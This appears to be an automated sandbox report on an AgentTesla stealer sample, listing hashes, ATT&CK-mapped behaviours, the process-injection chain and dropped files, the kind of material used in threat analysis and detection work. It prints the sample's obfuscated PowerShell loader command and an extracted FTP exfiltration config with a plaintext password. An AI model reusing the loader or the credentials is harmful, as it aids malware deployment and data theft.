agenttesla | 9f40759902174555ab1294eb92ae2d17ad2698d2e0e68694edbb9684bdab7692

General

Target

9f40759902174555ab1294eb92ae2d17ad2698d2e0e68694edbb9684bdab7692.exe
Size

1.0MB
MD5

94c700b33fb2a1aa2bd02f13750cca75
SHA1

abe3abd4f60778dfa694a8fc54b9d1037a248132
SHA256

9f40759902174555ab1294eb92ae2d17ad2698d2e0e68694edbb9684bdab7692
SHA512

b1962793a313490385ce265763a05585abf1793336ffbbb853fc64b6807e35ec98b28daebe147f98bb901a804ce88bc930c33b7938f31b51b9c9a0c258decc5a
SSDEEP

12288:5faWYFsj2FYoIAyPn4/SLfP2Udh1rtZJi3l/zSL6WKuwpbt+jBL/nepC:ldeXi4/42Up5KV/zSOWlabAjNnKC

Score

10^/10

agenttesla discovery execution keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: ftp
Host:
ftp://ftp.concaribe.com
Port:
21
Username:
[email protected]
Password:
ro}UWgz#!38E

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Loads dropped DLL 1 IoCs

pid	Process
3840	9f40759902174555ab1294eb92ae2d17ad2698d2e0e68694edbb9684bdab7692.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
29	3196	msiexec.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
3196	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4004	powershell.exe
3196	msiexec.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4004 set thread context of 3196	4004	powershell.exe	88

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4004	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4928	3196	WerFault.exe	88

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9f40759902174555ab1294eb92ae2d17ad2698d2e0e68694edbb9684bdab7692.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
4004	powershell.exe
4004	powershell.exe
4004	powershell.exe
4004	powershell.exe
4004	powershell.exe
4004	powershell.exe
4004	powershell.exe
4004	powershell.exe
4004	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
4004	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4004	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3840 wrote to memory of 4004	3840	9f40759902174555ab1294eb92ae2d17ad2698d2e0e68694edbb9684bdab7692.exe	82
PID 3840 wrote to memory of 4004	3840	9f40759902174555ab1294eb92ae2d17ad2698d2e0e68694edbb9684bdab7692.exe	82
PID 3840 wrote to memory of 4004	3840	9f40759902174555ab1294eb92ae2d17ad2698d2e0e68694edbb9684bdab7692.exe	82
PID 4004 wrote to memory of 3196	4004	powershell.exe	88
PID 4004 wrote to memory of 3196	4004	powershell.exe	88
PID 4004 wrote to memory of 3196	4004	powershell.exe	88
PID 4004 wrote to memory of 3196	4004	powershell.exe	88
PID 4004 wrote to memory of 3196	4004	powershell.exe	88

C:\Users\Admin\AppData\Local\Temp\9f40759902174555ab1294eb92ae2d17ad2698d2e0e68694edbb9684bdab7692.exe
"C:\Users\Admin\AppData\Local\Temp\9f40759902174555ab1294eb92ae2d17ad2698d2e0e68694edbb9684bdab7692.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3840
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle minimized "$Mahjongg=Get-Content 'C:\Users\Admin\AppData\Roaming\chondriosome\retskrivningssystemer\Laccolitic51.Suk151';$Chefen128=$Mahjongg.SubString(11975,3);.$Chefen128($Mahjongg)"
  2⤵
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4004
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\syswow64\msiexec.exe"
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    PID:3196
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 1520
      4⤵
      Program crash
      PID:4928

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3196 -ip 3196
1⤵
PID:4156

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cv5qxgcu.e4x.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsu9ED1.tmp\nsExec.dll

Filesize
7KB

MD5
5d63878da0cda0b331e80e43e3d3c2fa

SHA1
749b02a5bceb2d1f8a912dfaf40fe8c3b082bf58

SHA256
21eb98aa735fc4b4072e670a78f1e5802b3d3c950bef72e32f573dd514ac7f18

SHA512
240ccbd96bbf5d4608778b91ab14b73b20771fff3763e8df04a9df83f5371d4ada64b5b6cc262626927ee1c13fc0d98bfaaa0332786c0af588a4c24924575ed1

Download Submit
C:\Users\Admin\AppData\Roaming\chondriosome\retskrivningssystemer\Laccolitic51.Suk151

Filesize
72KB

MD5
e2df89f3afdd3b0ca4cbef2b70903b01

SHA1
2291a0ed4a9a2c5df3138f42bbe3d72a441461a8

SHA256
eb337ed184f884c1dec3c08c74fdaf9e513ca7086bd7ccceaf3511829ca54e81

SHA512
0c18fe4ca7ac53e3d0b63d43064d8e3e25a055325042b4f1038bece4a7b7717febf08a0f97d10d3234a5e4a5caef239387c66690c3be522e68f4888702055bd6

Download Submit
C:\Users\Admin\AppData\Roaming\chondriosome\retskrivningssystemer\Prefaces.Jal

Filesize
314KB

MD5
6e673e7179aaabb9ab1520df399dca08

SHA1
6af2a4f10568e5b549db34ae133e8b948da8bc81

SHA256
d85d0441841cb77e0c3a008687e41d7eda78e35cb2dc692dd9006a719524025c

SHA512
7418d82d3f65158a85af3eb5090dc4b65e82e96b9bbd221aacbf296d02f82bcfa833640c5e3fcea5123d762a902097a4834ee4126fd0b4f6ce43c8d40812b67d

Download Submit
memory/3196-54-0x0000000001200000-0x0000000002454000-memory.dmp

Filesize
18.3MB

Download
memory/4004-30-0x0000000006860000-0x000000000687E000-memory.dmp

Filesize
120KB

Download
memory/4004-51-0x0000000073500000-0x0000000073CB0000-memory.dmp

Filesize
7.7MB

Download
memory/4004-19-0x00000000061D0000-0x0000000006236000-memory.dmp

Filesize
408KB

Download
memory/4004-14-0x00000000032C0000-0x00000000032F6000-memory.dmp

Filesize
216KB

Download
memory/4004-29-0x0000000006240000-0x0000000006594000-memory.dmp

Filesize
3.3MB

Download
memory/4004-39-0x0000000073500000-0x0000000073CB0000-memory.dmp

Filesize
7.7MB

Download
memory/4004-31-0x00000000068B0000-0x00000000068FC000-memory.dmp

Filesize
304KB

Download
memory/4004-32-0x0000000007830000-0x00000000078C6000-memory.dmp

Filesize
600KB

Download
memory/4004-33-0x0000000006D90000-0x0000000006DAA000-memory.dmp

Filesize
104KB

Download
memory/4004-34-0x0000000006DE0000-0x0000000006E02000-memory.dmp

Filesize
136KB

Download
memory/4004-35-0x0000000007ED0000-0x0000000008474000-memory.dmp

Filesize
5.6MB

Download
memory/4004-16-0x0000000005940000-0x0000000005F68000-memory.dmp

Filesize
6.2MB

Download
memory/4004-37-0x0000000008B00000-0x000000000917A000-memory.dmp

Filesize
6.5MB

Download
memory/4004-18-0x0000000006160000-0x00000000061C6000-memory.dmp

Filesize
408KB

Download
memory/4004-44-0x0000000073500000-0x0000000073CB0000-memory.dmp

Filesize
7.7MB

Download
memory/4004-41-0x0000000073500000-0x0000000073CB0000-memory.dmp

Filesize
7.7MB

Download
memory/4004-42-0x0000000073500000-0x0000000073CB0000-memory.dmp

Filesize
7.7MB

Download
memory/4004-13-0x000000007350E000-0x000000007350F000-memory.dmp

Filesize
4KB

Download
memory/4004-40-0x0000000073500000-0x0000000073CB0000-memory.dmp

Filesize
7.7MB

Download
memory/4004-45-0x0000000009180000-0x000000000E8C1000-memory.dmp

Filesize
87.3MB

Download
memory/4004-47-0x0000000073500000-0x0000000073CB0000-memory.dmp

Filesize
7.7MB

Download
memory/4004-46-0x000000007350E000-0x000000007350F000-memory.dmp

Filesize
4KB

Download
memory/4004-48-0x0000000073500000-0x0000000073CB0000-memory.dmp

Filesize
7.7MB

Download
memory/4004-49-0x0000000073500000-0x0000000073CB0000-memory.dmp

Filesize
7.7MB

Download
memory/4004-50-0x0000000073500000-0x0000000073CB0000-memory.dmp

Filesize
7.7MB

Download
memory/4004-15-0x0000000073500000-0x0000000073CB0000-memory.dmp

Filesize
7.7MB

Download
memory/4004-53-0x0000000073500000-0x0000000073CB0000-memory.dmp

Filesize
7.7MB

Download
memory/4004-17-0x00000000058B0000-0x00000000058D2000-memory.dmp

Filesize
136KB

Download

Analysis

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